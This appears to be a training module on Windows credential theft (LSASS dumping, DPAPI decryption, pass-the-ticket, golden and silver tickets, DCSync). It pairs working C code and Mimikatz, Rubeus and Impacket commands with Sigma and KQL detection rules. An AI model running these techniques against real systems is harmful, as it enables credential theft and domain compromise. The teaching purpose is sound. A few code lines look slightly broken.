Credential Theft Techniques
Credential theft converts a foothold into durable, reusable access. Plaintext passwords from WDigest caches are gone on modern Windows; the modern attack surface is NTLM hashes from LSASS (pass-the-hash), Kerberos TGTs (overpass-the-hash), DPAPI master keys (browser/app credentials), and Active Directory replication rights (DCSync). Each technique has a distinct detection signature that detection engineers are explicitly tested on.
You have SYSTEM on a domain-joined workstation. The domain admin has recently logged in interactively, leaving a cached TGT in LSASS. Your goal: extract the TGT, forge a pass-the-ticket session, and perform DCSync against the DC to retrieve all domain NTLM hashes for offline cracking — without touching disk with Mimikatz.
LSASS Credential Extraction
// Method 1: MiniDump via Win32 API (noisy but reliable)
BOOL DumpLsass(LPCWSTR outputPath) {
DWORD lsassPid = FindProcessByName(L"lsass.exe");
HANDLE hProc = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE, lsassPid);
if (!hProc) return FALSE;
HANDLE hFile = CreateFileW(outputPath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, 0, NULL);
// MiniDumpWriteDump generates full memory dump parseable by Mimikatz offline
typedef BOOL (WINAPI* pMDWD)(HANDLE,DWORD,HANDLE,MINIDUMP_TYPE,PMINIDUMP_EXCEPTION_INFORMATION,PMINIDUMP_USER_STREAM_INFORMATION,PMINIDUMP_CALLBACK_INFORMATION);
pMDWD MiniDumpWriteDump = (pMDWD)GetProcAddress(
GetModuleHandleW(L"dbghelp.dll"), "MiniDumpWriteDump");
BOOL ok = MiniDumpWriteDump(hProc, lsassPid, hFile,
(MINIDUMP_TYPE)(MiniDumpWithFullMemory|MiniDumpIgnoreInaccessibleMemory),
NULL, NULL, NULL);
CloseHandle(hFile); CloseHandle(hProc); return ok;
}
// Method 2: comsvcs.dll LOLbin — no separate binary needed
// powershell:
// $p = Get-Process lsass
// rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $p.id C:\Windows\Temp\out.dmp full
// Offline parse with pypykatz (no LSASS process needed):
// pypykatz lsa minidump out.dmp
// → dumps NT hashes, Kerberos keys, cached domain credentials
DPAPI Credential Decryption
// DPAPI: Windows encrypts per-user secrets with master keys derived from user password.
// Master key files: %APPDATA%\Microsoft\Protect\{SID}\{GUID}
// Master key decryption requires: user password hash (from LSASS or DC) + domain backup key
//
// Browser credential decryption (Chromium):
// Local State JSON → "os_crypt.encrypted_key" → base64 decode → strip "DPAPI" prefix
// → CryptUnprotectData() decrypts the AES-256 key (requires running as that user)
// → AES-256-GCM decrypt Login Data SQLite entries
#include
BOOL DpapiDecrypt(const BYTE* ciphertext, DWORD cipherLen,
BYTE** plaintext, DWORD* plainLen) {
DATA_BLOB inBlob = { cipherLen, (BYTE*)ciphertext };
DATA_BLOB outBlob = {0};
// CRYPTPROTECT_UI_FORBIDDEN = no popup; requires running as the user who encrypted
if (!CryptUnprotectData(&inBlob, NULL, NULL, NULL, NULL,
CRYPTPROTECT_UI_FORBIDDEN, &outBlob))
return FALSE;
*plaintext = outBlob.pbData;
*plainLen = outBlob.cbData;
return TRUE;
}
// Domain DPAPI backup key extraction (offline, from DC — requires DA):
// SharpDPAPI: SharpDPAPI backupkey → exports domain DPAPI backup RSA key
// Any user's master keys can then be decrypted offline with the backup key.
// Mimikatz: dpapi::backupkeys /system:dc01 /export
Kerberos Ticket Theft and Pass-the-Ticket
// Kerberos ticket theft via LSASS:
// Rubeus: Rubeus.exe dump /service:krbtgt /nowrap → base64 Kerberos tickets
// Mimikatz: sekurlsa::tickets /export → .kirbi files per ticket
// Pass-the-Ticket:
// Inject ticket into current logon session without needing cleartext password.
// Rubeus: Rubeus.exe ptt /ticket:BASE64TICKET
// Mimikatz: kerberos::ptt ticket.kirbi
// Overpass-the-Hash (Pass-the-Key):
// Have NTLM hash or Kerberos AES key → request TGT directly from KDC.
// Rubeus: Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /domain:corp.local /ptt
// → requests TGT using RC4-HMAC (uses NT hash as Kerberos session key)
// → injects TGT into process → access DC resources without password
// Golden Ticket (offline, needs domain SID + krbtgt hash):
// krbtgt hash from DCSync (see below) → forge arbitrary TGT for any user
// Mimikatz: kerberos::golden /user:fakeadmin /domain:corp.local
// /sid:S-1-5-21-XXXX /krbtgt:KRBTGT_NTLM_HASH /ptt
// Ticket valid for 10 years by default; forged PAC claims any group membership
// Silver Ticket (service-specific, only needs service account hash):
// kerberos::silver /user:fakeadmin /domain:corp.local /sid:S-1-5-21-XXXX
// /target:dc01.corp.local /service:cifs /rc4:SERVICE_NTLM_HASH /ptt
// Bypasses DC entirely — service validates ticket with its own key, no DC contact
DCSync Attack
// DCSync: impersonate a domain controller to request credential replication.
// Requires: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights.
// Default holders: Domain Admins, Enterprise Admins, Domain Controllers, SYSTEM.
//
// Mechanism: DsGetNCChanges() DRSR RPC call to the real DC.
// DC responds with NTDS.dit hashes as if to a replicating DC partner.
//
// Mimikatz: lsadump::dcsync /domain:corp.local /all /csv
// Impacket: secretsdump.py corp.local/admin:password@dc01.corp.local
// → dumps all NTLM hashes from NTDS.dit remotely, no local access to DC needed
// Mimikatz programmatic DCSync call sketch (Win32):
// 1. Bind to DC via RpcBindingFromStringBindingW with ncacn_ip_tcp endpoint
// 2. Call DsGetNCChangesW(hDrs, 1, &msgIn, &pcbMsgOut, &pmsgOut)
// where msgIn.V8.pUpToDateVecDest = NULL (request all objects)
// 3. Parse pmsgOut.V6.pObjects for ATTR_UNICODE_PWD (NT hash) and
// ATTR_SUPPLEMENTAL_CREDENTIALS (AES keys)
// Simplified: Rubeus and Impacket wrap this complexity.
// Detection evasion: perform DCSync from a non-DC host with a compromised
// account that has been granted replication rights (rare but seen in red team ops)
// or via a Golden Ticket that impersonates the DC computer account.
Detection Engineering
title: LSASS Memory Access — Credential Dumping
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10 # ProcessAccess
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1010' # PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION
- '0x1410'
- '0x143a'
filter_legit:
SourceImage|contains:
- '\MsMpEng.exe'
- '\csrss.exe'
condition: selection and not filter_legit
level: critical
tags: [attack.credential_access, T1003.001]
title: DCSync — MS-DRSR Replication from Non-DC Host
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
ObjectType: '%{19195a5b-6da0-11d0-afd3-00c04fd930c9}' # domainDNS
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes-All
filter_dc:
SubjectUserName|endswith: '$' # exclude DC computer accounts
condition: selection and not filter_dc
level: critical
tags: [attack.credential_access, T1003.006]
-- MDE KQL: LSASS opened with VM_READ by non-system process
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| extend flags = tolong(AdditionalFields.AccessRights)
| where flags has_any ("16","4096","5186") // VM_READ bitmask
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","csrss.exe","WerFault.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine
-- MDE KQL: Kerberos AS-REQ with RC4 encryption (overpass-the-hash indicator)
IdentityLogonEvents
| where Protocol == "Kerberos"
| where EncryptionType == "RC4-HMAC"
| where ActionType == "LogonSuccess"
| where AccountName !endswith "$"
| summarize count() by AccountName, DeviceName, bin(Timestamp, 1h)
Q&A
Why does the "overpass-the-hash" (AS-REQ with RC4) technique produce a detectable Kerberos event even though no LSASS access is required for the ticket request itself, and what specific event data makes it distinctive?
Overpass-the-hash works by using an account's NT hash directly as a Kerberos RC4-HMAC session key in a Kerberos AS-REQ (Authentication Service Request). The NT hash is identical to the MD4 of the user's password, and Kerberos RC4-HMAC uses the same MD4 hash as the key derivation input — so anyone with the NT hash can construct a valid AS-REQ without knowing the plaintext password.
The detectable signature is the choice of encryption type. Domain controllers enforce a strong encryption type policy in modern environments (AES256-CTS-HMAC-SHA1 by default since Windows Server 2012). A legitimate Windows workstation that performs Kerberos authentication uses AES-256 (etype 18) for the AS-REQ unless the domain still supports RC4 fallback. An attacker using overpass-the-hash with an NT hash requests AES encryption if they have the AES key, but if they only have the NT hash (the common post-dump state), they request RC4-HMAC (etype 23) even when the account supports AES — because the NT hash cannot be used to derive an AES key without additional material (a salt derived from the username and domain).
The detection pivot is: AS-REQ with etype 23 (RC4-HMAC) for a user account whose workstation is configured to use AES. Event 4768 on the Domain Controller records the encryption type. Comparing etype 23 AS-REQs from non-computer accounts (computer accounts legitimately use RC4 in some scenarios) against a baseline provides a high-fidelity signal. The UEBA extension is: the same account recently had RC4 AS-REQs from a workstation it has never authenticated from before, combined with lateral movement within the same time window.